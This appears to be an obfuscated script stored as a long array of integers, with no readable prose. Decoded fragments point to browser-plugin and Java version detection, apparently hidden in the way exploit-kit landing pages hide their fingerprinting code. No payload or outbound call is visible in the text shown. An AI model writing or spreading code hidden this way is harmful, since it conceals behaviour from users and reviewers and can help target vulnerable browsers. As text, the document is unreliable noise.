3,2,22,13,13,2,89,13,13,2,46,18,17,52,41,83,88,1,86,62,12,72,49,76,76,26,79,52,41,40,79,63,68,82,69,11,9,8,72,12,51,9,13,13,20,51,4,13,13,12,51,4,13,13,9,51,4,13,13,9,51,71,46,18,0,20,40,17,9,63,30,9,50,52,13,13,46,18,0,20,40,17,9,63,30,9,50,52,51,27,76,26,79,52,41,40,79,63,68,4,11,9,8,72,20,60,71,9,76,26,79,52,41,40,79,63,68,82,27,11,41,79,24,26,9,8,72,20,71,71,46,18,0,20,40,17,9,63,30,9,50,52,6,6,72,2,46,18,9,15,64,87,13,13,46,18,17,52,41,83,88,1,86,62,12,72,49,76,18,79,52,48,89,24,30,41,48,41,52,71,71,23,76,76,26,9,8,72,2,49,18,78,9,63,31,86,48,89,52,89,6,6,46,18,78,9,63,31,86,48,89,52,89,76,26,79,52,41,40,79,63,68,27,11,9,8,72,49,18,78,9,63,31,86,48,89,52,89,6,6,46,18,9,15,38,40,49,72,62,76,76,26,9,8,72,2,46,18,9,15,38,40,49,72,49,18,46,86,40,63,41,76,76,26,49,18,46,86,40,63,41,71,62,11,9,8,72,62,82,49,18,46,86,40,63,41,60,71,27,4,76,26,79,52,41,40,79,63,68,27,11,11,11,11,46,48,41,46,22,72,8,76,26,11,79,52,41,40,79,63,68,4,11,61,17,52,41,83,88,1,86,62,12,74,8,40,63,46,41,9,86,63,72,17,61,48,76,26,35,48,79,68,8,61,89,71,41,22,9,15,61,46,71,17,36,17,18,15,0,48,63,74,4,61,62,71,46,6,6,46,18,8,9,79,15,41,67,22,9,20,89,36,27,74,4,10,41,79,24,26,9,8,72,62,6,6,48,76,26,46,18,8,9,79,15,41,67,22,9,20,89,18,8,86,46,40,15,72,76,11,11,46,48,41,46,22,72,8,76,26,11,79,52,41,40,79,63,68,62,36,46,18,8,9,79,15,41,67,22,9,20,89,74,63,40,20,20,11,61,15,52,41,30,41,24,20,52,74,8,40,63,46,41,9,86,63,72,62,61,17,76,26,35,48,79,68,8,71,62,18,15,41,24,20,52,61,48,61,89,61,46,71,41,22,9,15,10,9,8,72,8,6,6,17,76,26,8,86,79,72,48,71,4,10,48,51,17,18,20,52,63,17,41,22,10,48,71,48,53,69,76,26,41,79,24,26,8,58,17,58,48,81,81,71,17,58,48,53,27,81,11,46,48,41,46,22,72,89,76,26,11,11,11,11,61,9,63,15,52,79,41,83,9,35,64,63,77,86,89,24,74,8,40,63,46,41,9,86,63,72,9,76,26,35,48,79,68,17,61,89,71,41,22,9,15,61,22,71,57,0,89,85,85,80,80,85,85,80,80,57,61,46,71,63,40,20,20,61,8,71,89,86,46,40,49,52,63,41,61,62,71,57,51,57,61,48,71,72,8,18,17,52,41,87,20,52,49,52,63,41,15,77,24,16,48,17,38,48,49,52,72,57,62,86,89,24,57,76,58,4,81,13,13,8,18,62,86,89,24,76,10,9,8,72,2,48,76,26,41,79,24,26,8,18,78,79,9,41,52,72,62,53,7,89,9,35,68,9,89,71,57,7,53,22,53,7,57,60,86,7,53,62,53,57,34,89,9,35,60,57,76,10,46,71,8,18,17,52,41,87,20,52,49,52,63,41,77,24,64,89,72,22,76,11,46,48,41,46,22,72,17,76,26,11,11,48,71,72,8,18,17,52,41,87,20,52,49,52,63,41,15,77,24,16,48,17,38,48,49,52,72,57,62,86,89,24,57,76,58,4,81,13,13,8,18,62,86,89,24,76,10,9,8,72,48,76,26,9,8,72,48,18,8,9,79,15,41,67,22,9,20,89,6,6,89,18,9,15,83,52,8,9,63,52,89,72,48,18,9,63,15,52,79,41,77,52,8,86,79,52,76,76,26,48,18,9,63,15,52,79,41,77,52,8,86,79,52,72,9,61,48,18,8,9,79,15,41,67,22,9,20,89,76,11,52,20,15,52,26,48,18,48,0,0,52,63,89,67,22,9,20,89,72,9,76,11,9,8,72,46,76,26,48,18,79,52,49,86,35,52,67,22,9,20,89,72,46,76,11,11,52,20,15,52,26,11,11,61,9,63,15,52,79,41,43,16,1,31,74,8,40,63,46,41,9,86,63,72,17,61,62,61,22,61,48,61,65,76,26,35,48,79,68,20,61,49,71,89,86,46,40,49,52,63,41,61,12,71,41,22,9,15,61,5,61,86,71,49,18,46,79,52,48,41,52,87,20,52,49,52,63,41,72,57,15,0,48,63,57,76,61,63,61,9,61,8,71,57,51,57,10,35,48,79,68,46,71,58,57,86,40,41,20,9,63,52,30,41,24,20,52,57,61,57,63,86,63,52,57,61,57,62,86,79,89,52,79,30,41,24,20,52,57,61,57,63,86,63,52,57,61,57,0,48,89,89,9,63,17,57,61,57,4,0,37,57,61,57,49,48,79,17,9,63,57,61,57,4,0,37,57,61,57,35,9,15,9,62,9,20,9,41,24,57,61,57,35,9,15,9,62,20,52,57,81,10,9,8,72,2,12,18,9,15,83,52,8,9,63,52,89,72,48,76,76,26,48,71,57,57,11,9,8,72,12,18,9,15,30,41,79,9,63,17,72,17,76,6,6,72,34,58,47,33,15,81,34,76,18,41,52,15,41,72,17,76,76,26,5,71,8,53,17,53,7,68,78,9,89,41,22,71,57,7,53,12,18,0,20,40,17,9,63,30,9,50,52,53,7,57,68,22,52,9,17,22,41,71,57,7,53,12,18,0,20,40,17,9,63,30,9,50,52,53,7,57,68,7,10,8,86,79,72,63,71,4,10,63,51,62,18,20,52,63,17,41,22,10,63,71,63,53,69,76,26,9,8,72,34,58,47,33,15,81,34,18,41,52,15,41,72,62,58,63,53,27,81,76,76,26,5,53,71,62,58,63,81,53,7,71,57,7,53,62,58,63,53,27,81,53,7,57,68,7,11,11,5,53,71,57,60,57,10,8,86,79,72,63,71,4,10,63,51,22,18,20,52,63,17,41,22,10,63,71,63,53,69,76,26,9,8,72,34,58,47,33,15,81,34,18,41,52,15,41,72,22,58,63,53,27,81,76,76,26,5,53,71,8,53,7,0,48,79,48,49,68,63,48,49,52,71,57,7,53,22,58,63,81,53,7,57,68,35,48,20,40,52,71,57,7,53,22,58,63,53,27,81,53,7,57,68,34,60,7,11,11,5,53,71,48,53,8,53,57,34,57,53,17,53,57,60,57,11,52,20,15,52,26,5,71,48,11,9,8,72,2,12,18,89,9,35,76,26,12,18,89,9,35,71,49,18,46,79,52,48,41,52,87,20,52,49,52,63,41,72,57,89,9,35,57,76,10,9,71,49,18,17,52,41,87,20,52,49,52,63,41,77,24,64,89,72,57,0,20,40,17,9,63,89,52,41,52,46,41,57,76,10,9,8,72,9,76,26,12,18,89,9,35,71,9,11,52,20,15,52,26,12,18,89,9,35,18,9,89,71,57,0,20,40,17,9,63,89,52,41,52,46,41,57,10,12,18,9,63,15,52,79,41,83,9,35,64,63,77,86,89,24,72,12,18,89,9,35,76,11,12,18,15,52,41,30,41,24,20,52,72,12,18,89,9,35,61,46,18,46,86,63,46,48,41,72,58,57,78,9,89,41,22,57,61,12,18,89,9,35,54,9,89,41,22,53,57,0,37,57,61,57,22,52,9,17,22,41,57,61,72,12,18,0,20,40,17,9,63,30,9,50,52,53,85,76,53,57,0,37,57,61,57,8,86,63,41,30,9,50,52,57,61,72,12,18,0,20,40,17,9,63,30,9,50,52,53,85,76,53,57,0,37,57,61,57,20,9,63,52,43,52,9,17,22,41,57,61,72,12,18,0,20,40,17,9,63,30,9,50,52,53,85,76,53,57,0,37,57,61,57,35,52,79,41,9,46,48,20,32,20,9,17,63,57,61,57,62,48,15,52,20,9,63,52,57,61,57,89,9,15,0,20,48,24,57,61,57,62,20,86,46,65,57,81,76,76,10,9,8,72,2,9,76,26,12,18,15,52,41,30,41,24,20,52,72,12,18,89,9,35,61,58,57,0,86,15,9,41,9,86,63,57,61,57,48,62,15,86,20,40,41,52,57,61,57,79,9,17,22,41,57,61,57,4,0,37,57,61,57,41,86,0,57,61,57,4,0,37,57,81,76,11,11,9,8,72,12,18,89,9,35,6,6,12,18,89,9,35,18,0,48,79,52,63,41,38,86,89,52,76,26,12,18,89,9,35,18,48,0,0,52,63,89,67,22,9,20,89,72,86,76,10,12,18,15,52,41,30,41,24,20,52,72,86,61,46,18,46,86,63,46,48,41,72,58,57,8,86,63,41,30,9,50,52,57,61,72,12,18,0,20,40,17,9,63,30,9,50,52,53,85,76,53,57,0,37,57,61,57,20,9,63,52,43,52,9,17,22,41,57,61,72,12,18,0,20,40,17,9,63,30,9,50,52,53,85,76,53,57,0,37,57,61,57,35,52,79,41,9,46,48,20,32,20,9,17,63,57,61,57,62,48,15,52,20,9,63,52,57,61,57,89,9,15,0,20,48,24,57,61,57,9,63,20,9,63,52,57,81,76,76,10,41,79,24,26,9,8,72,86,6,6,86,18,0,48,79,52,63,41,38,86,89,52,76,26,86,18,8,86,46,40,15,72,76,11,11,46,48,41,46,22,72,20,76,26,11,41,79,24,26,86,18,9,63,63,52,79,43,16,1,31,71,5,11,46,48,41,46,22,72,20,76,26,11,9,8,72,86,18,46,22,9,20,89,38,86,89,52,15,18,20,52,63,17,41,22,71,71,27,6,6,2,72,12,18,9,15,19,52,46,65,86,6,6,12,18,46,86,49,0,48,79,52,38,40,49,15,72,12,18,35,52,79,19,52,46,65,86,61,57,27,61,84,61,4,61,4,57,76,51,4,76,76,26,12,18,15,52,41,30,41,24,20,52,72,86,18,8,9,79,15,41,67,22,9,20,89,61,46,18,46,86,63,46,48,41,72,58,57,89,9,15,0,20,48,24,57,61,57,9,63,20,9,63,52,57,81,76,76,11,79,52,41,40,79,63,26,15,0,48,63,74,86,61,78,9,63,31,86,48,89,52,89,74,12,18,78,9,63,31,86,48,89,52,89,61,41,48,17,38,48,49,52,74,72,12,18,9,15,30,41,79,9,63,17,72,17,76,36,17,74,57,57,76,11,11,79,52,41,40,79,63,26,15,0,48,63,74,63,40,20,20,61,78,9,63,31,86,48,89,52,89,74,12,18,78,9,63,31,86,48,89,52,89,61,41,48,17,38,48,49,52,74,57,57,11,11,61,12,48,35,48,74,26,49,9,49,52,16,24,0,52,74,58,57,48,0,0,20,9,46,48,41,9,86,63,34,37,82,12,48,35,48,82,48,0,0,20,52,41,57,61,57,48,0,0,20,9,46,48,41,9,86,63,34,37,82,12,48,35,48,82,35,49,57,61,57,48,0,0,20,9,46,48,41,9,86,63,34,37,82,12,48,35,48,82,62,52,48,63,57,81,61,49,9,49,52,16,24,0,52,59,73,64,74,57,48,0,0,20,9,46,48,41,9,86,63,34,37,82,12,48,35,48,82,48,0,0,20,52,41,10,12,0,9,82,35,52,79,15,9,86,63,71,57,61,46,20,48,15,15,64,83,74,57,46,20,15,9,89,74,75,32,83,80,67,75,23,4,82,4,23,23,87,82,27,27,83,27,82,77,85,87,80,82,4,4,75,4,84,3,23,80,80,83,80,85,57,61,83,16,56,46,20,48,15,15,64,83,74,57,46,20,15,9,89,74,67,32,3,87,87,3,32,67,82,83,87,67,14,82,4,4,4,4,82,4,4,4,4,82,32,77,67,83,87,3,3,87,83,67,77,32,57,61,83,16,56,49,9,49,52,16,24,0,52,74,58,57,48,0,0,20,9,46,48,41,9,86,63,34,12,48,35,48,82,89,52,0,20,86,24,49,52,63,41,82,41,86,86,20,65,9,41,57,61,57,48,0,0,20,9,46,48,41,9,86,63,34,63,0,79,40,63,41,9,49,52,82,15,46,79,9,0,41,48,62,20,52,82,0,20,40,17,9,63,10,83,52,0,20,86,24,49,52,63,41,16,86,86,20,65,9,41,57,81,61,8,86,79,46,52,55,52,79,9,8,24,16,48,17,74,58,81,61,12,48,79,74,58,81,61,87,63,48,62,20,52,89,74,63,48,35,9,17,48,41,86,79,18,12,48,35,48,87,63,48,62,20,52,89,72,76,61,55,87,38,83,88,66,30,74,58,57,30,40,63,68,1,9,46,79,86,15,24,15,41,52,49,15,68,64,63,46,18,57,61,57,32,0,0,20,52,68,67,86,49,0,40,41,52,79,61,68,64,63,46,18,57,81,61,88,16,3,74,63,40,20,20,61,32,20,20,21,35,52,79,15,9,86,63,15,74,58,81,61,49,9,49,52,16,24,0,52,59,73,64,79,52,15,40,20,41,74,57,57,61,59,48,35,48,73,20,40,17,9,63,21,35,52,79,15,9,86,63,15,74,58,81,61,59,48,35,48,55,52,79,15,9,86,63,15,74,58,58,27,61,80,61,69,61,85,4,81,61,58,27,61,75,61,69,61,85,4,81,61,58,27,61,14,61,69,61,85,4,81,61,58,27,61,42,61,27,61,85,4,81,61,58,27,61,84,61,27,61,85,4,81,61,58,27,61,23,61,69,61,85,4,81,61,58,27,61,85,61,27,61,85,4,81,81,61,15,52,48,79,46,22,59,48,35,48,73,20,40,17,9,63,32,25,88,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,22,71,63,40,20,20,61,48,71,41,22,9,15,61,46,71,48,18,39,61,17,71,58,81,61,12,71,58,27,61,84,61,4,61,27,23,81,61,9,71,58,27,61,42,61,4,61,69,81,61,8,71,58,27,61,85,61,27,61,4,81,61,52,71,58,27,61,23,61,69,61,4,81,61,89,71,58,27,61,84,61,4,61,14,81,61,62,71,8,48,20,15,52,10,9,8,72,2,46,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,76,26,79,52,41,40,79,63,68,63,40,20,20,11,10,9,8,72,46,18,35,52,79,64,87,60,71,48,18,49,9,63,64,87,35,52,79,76,26,17,71,48,18,15,52,48,79,46,22,59,48,35,48,32,25,88,72,9,61,9,61,62,76,10,9,8,72,17,18,20,52,63,17,41,22,60,4,6,6,62,76,26,17,71,48,18,15,52,48,79,46,22,59,48,35,48,32,25,88,72,12,61,12,61,62,76,11,11,52,20,15,52,26,9,8,72,17,18,20,52,63,17,41,22,71,71,4,76,26,17,71,48,18,15,52,48,79,46,22,59,48,35,48,32,25,88,72,8,61,52,61,8,48,20,15,52,76,11,11,9,8,72,17,18,20,52,63,17,41,22,60,4,76,26,22,71,17,58,4,81,11,48,18,59,48,35,48,73,20,40,17,9,63,21,35,52,79,15,9,86,63,15,71,58,81,18,46,86,63,46,48,41,72,17,76,10,79,52,41,40,79,63,68,22,11,61,15,52,48,79,46,22,59,48,35,48,32,25,88,74,8,40,63,46,41,9,86,63,72,20,61,9,61,49,76,26,35,48,79,68,63,61,8,61,22,71,41,22,9,15,18,39,61,5,61,65,61,48,61,52,61,17,61,12,61,62,61,79,71,58,81,10,9,8,72,22,18,46,86,49,0,48,79,52,38,40,49,15,72,20,18,12,86,9,63,72,57,61,57,76,61,9,18,12,86,9,63,72,57,61,57,76,76,60,4,76,26,9,71,20,11,9,71,22,18,8,86,79,49,48,41,38,40,49,72,9,18,12,86,9,63,72,57,61,57,76,76,10,35,48,79,68,86,61,89,71,57,27,61,23,61,69,61,4,57,61,46,71,57,59,48,35,48,73,20,40,17,9,63,18,57,53,20,58,4,81,53,57,57,53,20,58,27,81,53,57,57,53,20,58,69,81,53,57,57,53,72,20,58,85,81,60,4,36,72,57,21,57,53,72,20,58,85,81,51,27,4,36,57,4,57,74,57,57,76,53,20,58,85,81,76,74,57,57,76,10,8,86,79,72,63,71,4,10,63,51,41,22,9,15,18,59,48,35,48,55,52,79,15,9,86,63,15,18,20,52,63,17,41,22,10,63,53,53,76,26,8,71,41,22,9,15,18,59,48,35,48,55,52,79,15,9,86,63,15,58,63,81,10,5,71,57,59,48,35,48,73,20,40,17,9,63,18,57,53,8,58,4,81,53,57,57,53,8,58,27,81,10,17,71,8,58,4,81,53,57,18,57,53,8,58,27,81,53,57,18,57,10,8,86,79,72,48,71,8,58,69,81,10,48,60,71,4,10,48,82,82,76,26,62,71,57,59,48,35,48,54,52,62,30,41,48,79,41,18,9,15,64,63,15,41,48,20,20,52,89,18,57,53,17,53,48,53,57,18,4,57,10,9,8,72,22,18,46,86,49,0,48,79,52,38,40,49,15,72,8,58,4,81,53,57,61,57,53,8,58,27,81,53,57,61,57,53,48,53,57,61,4,57,61,9,76,60,71,4,6,6,2,22,18,17,52,41,32,25,88,72,62,76,76,26,46,86,63,41,9,63,40,52,11,86,71,22,18,46,86,49,0,48,79,52,38,40,49,15,72,8,58,4,81,53,57,61,57,53,8,58,27,81,53,57,61,57,53,48,53,57,61,4,57,61,89,76,51,4,36,41,79,40,52,74,8,48,20,15,52,10,8,86,79,72,52,71,8,58,85,81,10,52,60,71,4,10,52,82,82,76,26,65,71,48,53,57,21,57,53,72,52,51,27,4,36,57,4,57,53,52,74,52,76,10,12,71,5,53,65,10,9,8,72,22,18,17,52,41,32,25,88,72,12,76,6,6,72,86,13,13,22,18,17,52,41,32,25,88,72,62,76,76,76,26,79,18,0,40,15,22,72,17,53,65,76,10,9,8,72,2,49,76,26,79,52,41,40,79,63,68,79,11,11,9,8,72,12,71,71,46,76,26,79,52,41,40,79,63,68,79,11,11,9,8,72,22,18,17,52,41,32,25,88,72,5,53,48,76,6,6,72,86,13,13,22,18,17,52,41,32,25,88,72,62,76,76,76,26,79,18,0,40,15,22,72,17,53,48,76,10,9,8,72,2,49,76,26,79,52,41,40,79,63,68,79,11,11,9,8,72,5,53,48,71,71,46,76,26,79,52,41,40,79,63,68,79,11,11,11,79,52,41,40,79,63,68,79,11,61,49,9,63,64,87,35,52,79,74,14,61,17,52,41,1,9,49,52,59,73,64,35,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,22,61,48,71,41,22,9,15,61,89,71,48,18,39,61,46,71,63,52,78,68,66,52,17,87,37,0,72,57,72,57,53,48,18,49,9,49,52,16,24,0,52,59,73,64,53,57,76,72,33,33,89,18,45,76,57,61,57,9,57,76,61,65,71,63,52,78,68,66,52,17,87,37,0,72,57,59,48,35,48,57,61,57,9,57,76,61,52,61,12,61,8,71,57,57,61,9,71,26,11,61,17,71,4,61,62,10,8,86,79,72,22,71,4,10,22,51,63,48,35,9,17,48,41,86,79,18,49,9,49,52,16,24,0,52,15,18,20,52,63,17,41,22,10,22,53,53,76,26,12,71,63,48,35,9,17,48,41,86,79,18,49,9,49,52,16,24,0,52,15,58,22,81,10,9,8,72,46,18,41,52,15,41,72,12,18,41,24,0,52,76,6,6,72,52,71,12,18,52,63,48,62,20,52,89,73,20,40,17,9,63,76,6,6,72,12,71,66,52,17,87,37,0,18,39,69,76,6,6,72,65,18,41,52,15,41,72,52,18,89,52,15,46,79,9,0,41,9,86,63,13,13,8,76,13,13,65,18,41,52,15,41,72,52,18,63,48,49,52,13,13,8,76,76,76,26,9,58,57,48,57,53,89,18,8,86,79,49,48,41,38,40,49,72,12,76,81,71,12,11,11,62,71,57,4,61,4,61,4,61,4,57,10,8,86,79,72,22,68,9,63,68,9,76,26,17,53,53,10,52,71,22,18,15,20,9,46,52,72,27,76,10,9,8,72,89,18,46,86,49,0,48,79,52,38,40,49,15,72,52,61,62,76,60,4,76,26,62,71,52,11,11,48,18,49,9,49,52,16,24,0,52,59,73,64,79,52,15,40,20,41,71,17,60,4,36,48,18,49,9,49,52,16,24,0,52,59,73,64,53,9,58,57,48,57,53,62,81,74,57,57,10,79,52,41,40,79,63,68,17,60,4,36,62,74,63,40,20,20,11,61,17,52,41,55,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,49,61,89,61,20,76,26,35,48,79,68,8,61,46,71,41,22,9,15,61,52,71,46,18,39,61,22,71,46,18,38,88,16,3,61,62,71,46,18,48,0,0,20,52,41,61,12,71,46,18,35,52,79,9,8,24,61,9,71,35,52,63,89,86,79,71,35,52,79,15,9,86,63,87,63,48,62,20,52,89,71,63,40,20,20,10,9,8,72,46,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,71,71,63,40,20,20,76,26,46,18,88,16,3,71,4,10,46,18,49,9,49,52,88,62,12,71,52,18,22,48,15,1,9,49,52,16,24,0,52,72,46,18,49,9,49,52,16,24,0,52,76,10,46,18,89,52,0,20,86,24,16,56,18,39,71,52,10,46,18,89,52,0,20,86,24,16,56,18,0,48,79,52,63,41,38,86,89,52,71,46,10,62,18,39,71,52,10,62,18,0,48,79,52,63,41,38,86,89,52,71,46,10,9,8,72,22,76,26,22,18,39,71,52,10,22,18,0,48,79,52,63,41,38,86,89,52,71,46,11,9,8,72,12,76,26,12,18,0,48,79,52,63,41,38,86,89,52,71,46,10,12,18,39,71,52,10,12,18,9,63,9,41,72,76,11,11,35,48,79,68,65,10,9,8,72,52,18,9,15,32,79,79,48,24,72,20,76,76,26,8,86,79,72,65,71,4,10,65,51,62,18,48,20,20,86,78,52,89,18,20,52,63,17,41,22,10,65,53,53,76,26,9,8,72,52,18,9,15,38,40,49,72,20,58,65,81,76,76,26,62,18,48,20,20,86,78,52,89,58,65,81,71,20,58,65,81,11,11,11,8,86,79,72,65,71,4,10,65,51,46,18,8,86,79,46,52,55,52,79,9,8,24,16,48,17,18,20,52,63,17,41,22,10,65,53,53,76,26,62,18,48,20,20,86,78,52,89,58,65,81,71,46,18,8,86,79,46,52,55,52,79,9,8,24,16,48,17,58,65,81,11,9,8,72,52,18,9,15,30,41,79,9,63,17,72,89,76,76,26,46,18,12,48,79,18,0,40,15,22,72,89,76,11,9,8,72,46,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,71,4,76,26,9,8,72,2,46,18,35,52,79,15,9,86,63,13,13,62,18,46,48,63,16,79,24,32,63,24,72,76,76,26,8,71,62,18,9,63,15,52,79,41,43,16,1,31,28,40,52,79,24,32,20,20,72,89,76,10,9,8,72,8,58,4,81,76,26,46,18,9,63,15,41,48,20,20,52,89,71,27,10,46,18,87,63,89,19,52,41,55,52,79,15,9,86,63,72,8,58,4,81,61,8,58,27,81,76,11,11,79,52,41,40,79,63,11,35,48,79,68,17,71,46,18,89,52,0,20,86,24,16,56,18,5,40,52,79,24,72,76,10,9,8,72,17,18,59,66,87,76,26,9,71,17,18,59,66,87,10,35,52,63,89,86,79,71,46,18,55,87,38,83,88,66,30,58,4,81,11,9,8,72,2,52,18,9,15,64,87,76,26,35,48,79,68,5,61,63,61,48,61,86,10,86,71,72,46,18,49,9,49,52,88,62,12,6,6,46,18,87,63,48,62,20,52,89,76,36,41,79,40,52,74,8,48,20,15,52,10,9,8,72,2,9,6,6,72,8,71,46,18,17,52,41,1,9,49,52,59,73,64,35,52,79,15,9,86,63,72,76,76,2,71,71,63,40,20,20,76,26,9,71,8,11,9,8,72,2,9,6,6,46,18,49,9,49,52,88,62,12,76,26,8,71,57,59,48,35,48,58,47,33,33,89,81,45,73,20,40,17,82,9,63,57,10,48,71,52,18,8,9,63,89,38,48,35,73,20,40,17,9,63,72,8,76,10,9,8,72,48,76,26,8,71,63,52,78,68,66,52,17,87,37,0,72,8,61,57,9,57,76,10,5,71,8,18,41,52,15,41,72,48,18,89,52,15,46,79,9,0,41,9,86,63,13,13,57,57,76,36,52,18,17,52,41,38,40,49,72,48,18,89,52,15,46,79,9,0,41,9,86,63,76,74,63,40,20,20,10,63,71,8,18,41,52,15,41,72,48,18,63,48,49,52,13,13,57,57,76,36,52,18,17,52,41,38,40,49,72,48,18,63,48,49,52,76,74,63,40,20,20,10,9,8,72,5,6,6,63,76,26,9,71,72,52,18,46,86,49,0,48,79,52,38,40,49,15,72,52,18,8,86,79,49,48,41,38,40,49,72,5,76,61,52,18,8,86,79,49,48,41,38,40,49,72,63,76,76,60,71,4,76,36,5,74,63,11,52,20,15,52,26,9,71,5,13,13,63,11,11,11,9,8,72,2,9,6,6,46,18,49,9,49,52,88,62,12,6,6,52,18,9,15,30,48,8,48,79,9,6,6,52,18,88,30,71,71,69,76,26,48,71,52,18,8,9,63,89,38,48,35,73,20,40,17,9,63,72,57,59,48,35,48,18,45,33,33,89,18,45,73,20,40,17,82,9,63,18,45,67,86,46,86,48,57,61,4,76,10,9,8,72,48,76,26,5,71,52,18,17,52,41,38,40,49,72,48,18,89,52,15,46,79,9,0,41,9,86,63,76,10,9,8,72,5,76,26,9,71,5,11,11,11,9,8,72,9,76,26,46,18,35,52,79,15,9,86,63,4,71,9,10,9,8,72,46,18,87,63,48,62,20,52,89,76,26,35,52,79,15,9,86,63,87,63,48,62,20,52,89,71,9,11,11,11,52,20,15,52,26,9,8,72,2,9,6,6,17,18,15,41,48,41,40,15,71,71,4,76,26,9,71,46,18,15,52,48,79,46,22,59,48,35,48,73,20,40,17,9,63,32,25,88,72,76,10,9,8,72,9,76,26,35,52,63,89,86,79,71,46,18,55,87,38,83,88,66,30,58,4,81,11,11,9,8,72,9,76,26,46,18,35,52,79,15,9,86,63,4,71,9,10,9,8,72,46,18,87,63,48,62,20,52,89,6,6,52,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,76,26,35,52,79,15,9,86,63,87,63,48,62,20,52,89,71,9,11,11,11,9,8,72,2,35,52,79,15,9,86,63,87,63,48,62,20,52,89,13,13,62,18,46,48,63,16,79,24,32,63,24,72,76,76,26,8,71,62,18,9,63,15,52,79,41,43,16,1,31,28,40,52,79,24,32,20,20,72,89,76,10,9,8,72,8,58,4,81,76,26,35,52,79,15,9,86,63,87,63,48,62,20,52,89,71,8,58,4,81,10,35,52,63,89,86,79,71,8,58,27,81,11,11,9,8,72,2,35,52,79,15,9,86,63,87,63,48,62,20,52,89,6,6,72,8,71,46,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,72,76,76,58,4,81,76,26,46,18,35,52,79,15,9,86,63,4,71,35,52,79,15,9,86,63,87,63,48,62,20,52,89,71,8,58,4,81,10,35,52,63,89,86,79,71,8,58,27,81,10,9,8,72,46,18,9,63,15,41,48,20,20,52,89,71,71,82,4,18,84,76,26,46,18,9,63,15,41,48,20,20,52,89,71,4,18,84,11,11,9,8,72,52,18,9,15,30,48,8,48,79,9,6,6,52,18,88,30,71,71,69,76,26,9,8,72,2,35,52,79,15,9,86,63,87,63,48,62,20,52,89,6,6,86,76,26,9,8,72,46,18,9,63,15,41,48,20,20,52,89,71,71,71,63,40,20,20,76,26,46,18,9,63,15,41,48,20,20,52,89,71,4,11,52,20,15,52,26,9,8,72,46,18,9,63,15,41,48,20,20,52,89,71,71,82,4,18,84,76,26,46,18,9,63,15,41,48,20,20,52,89,71,4,18,84,11,11,11,11,9,8,72,46,18,12,79,52,83,9,15,48,62,20,52,89,72,76,76,26,35,52,79,15,9,86,63,87,63,48,62,20,52,89,71,63,40,20,20,11,10,9,8,72,46,18,9,63,15,41,48,20,20,52,89,71,71,71,63,40,20,20,76,26,46,18,9,63,15,41,48,20,20,52,89,71,35,52,79,15,9,86,63,87,63,48,62,20,52,89,36,27,74,72,9,36,82,4,18,69,74,82,27,76,11,46,18,87,63,89,19,52,41,55,52,79,15,9,86,63,72,35,52,79,15,9,86,63,87,63,48,62,20,52,89,61,35,52,63,89,86,79,76,11,61,87,63,89,19,52,41,55,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,62,61,89,76,26,35,48,79,68,48,71,41,22,9,15,61,46,71,48,18,39,10,9,8,72,48,18,35,52,79,15,9,86,63,4,76,26,48,18,35,52,79,15,9,86,63,4,71,46,18,8,86,79,49,48,41,38,40,49,72,46,18,17,52,41,38,40,49,72,48,18,35,52,79,15,9,86,63,4,76,76,11,9,8,72,62,76,26,48,18,35,52,79,15,9,86,63,71,46,18,8,86,79,49,48,41,38,40,49,72,46,18,17,52,41,38,40,49,72,62,76,76,10,48,18,35,52,63,89,86,79,71,72,46,18,9,15,30,41,79,9,63,17,72,89,76,36,89,74,57,57,76,11,9,8,72,48,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,2,71,27,76,26,48,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,4,11,11,61,12,79,52,83,9,15,48,62,20,52,89,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,62,71,41,22,9,15,61,89,71,62,18,39,61,46,71,62,18,89,52,0,20,86,24,16,56,18,5,40,52,79,24,72,76,18,59,66,87,61,48,10,9,8,72,46,6,6,89,18,88,30,71,71,27,76,26,9,8,72,72,89,18,9,15,19,52,46,65,86,6,6,89,18,46,86,49,0,48,79,52,38,40,49,15,72,89,18,35,52,79,19,52,46,65,86,61,57,27,61,80,61,69,61,4,57,76,60,71,4,6,6,89,18,46,86,49,0,48,79,52,38,40,49,15,72,46,61,57,27,61,42,61,4,61,27,69,57,76,51,4,76,13,13,72,89,18,9,15,67,22,79,86,49,52,6,6,89,18,46,86,49,0,48,79,52,38,40,49,15,72,46,61,57,27,61,42,61,4,61,27,69,57,76,51,4,76,76,26,79,52,41,40,79,63,68,27,11,11,10,9,8,72,89,18,9,15,88,0,52,79,48,6,6,89,18,35,52,79,88,0,52,79,48,60,71,80,6,6,2,62,18,87,63,48,62,20,52,89,6,6,2,62,18,49,9,49,52,88,62,12,6,6,2,62,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,72,76,58,4,81,76,26,79,52,41,40,79,63,68,27,11,9,8,72,72,89,18,9,15,19,52,46,65,86,13,13,89,18,9,15,67,22,79,86,49,52,76,6,6,2,62,18,49,9,49,52,88,62,12,6,6,2,62,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,72,76,58,4,81,76,26,79,52,41,40,79,63,68,27,11,79,52,41,40,79,63,68,4,11,61,89,52,0,20,86,24,16,56,74,26,15,41,48,41,40,15,74,63,40,20,20,61,59,66,87,48,20,20,74,58,81,61,59,66,87,74,63,40,20,20,61,43,16,1,31,74,63,40,20,20,61,5,40,52,79,24,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,8,71,41,22,9,15,61,22,71,8,18,39,61,46,71,8,18,0,48,79,52,63,41,38,86,89,52,61,9,61,48,61,62,61,17,71,20,52,63,71,63,40,20,20,10,9,8,72,8,18,15,41,48,41,40,15,2,71,71,63,40,20,20,76,26,79,52,41,40,79,63,68,8,11,8,18,15,41,48,41,40,15,71,4,10,9,8,72,72,22,18,9,15,19,52,46,65,86,6,6,22,18,46,86,49,0,48,79,52,38,40,49,15,72,22,18,35,52,79,19,52,46,65,86,61,22,18,8,86,79,49,48,41,38,40,49,72,57,27,18,42,57,76,76,51,71,4,76,13,13,22,18,9,15,30,48,8,48,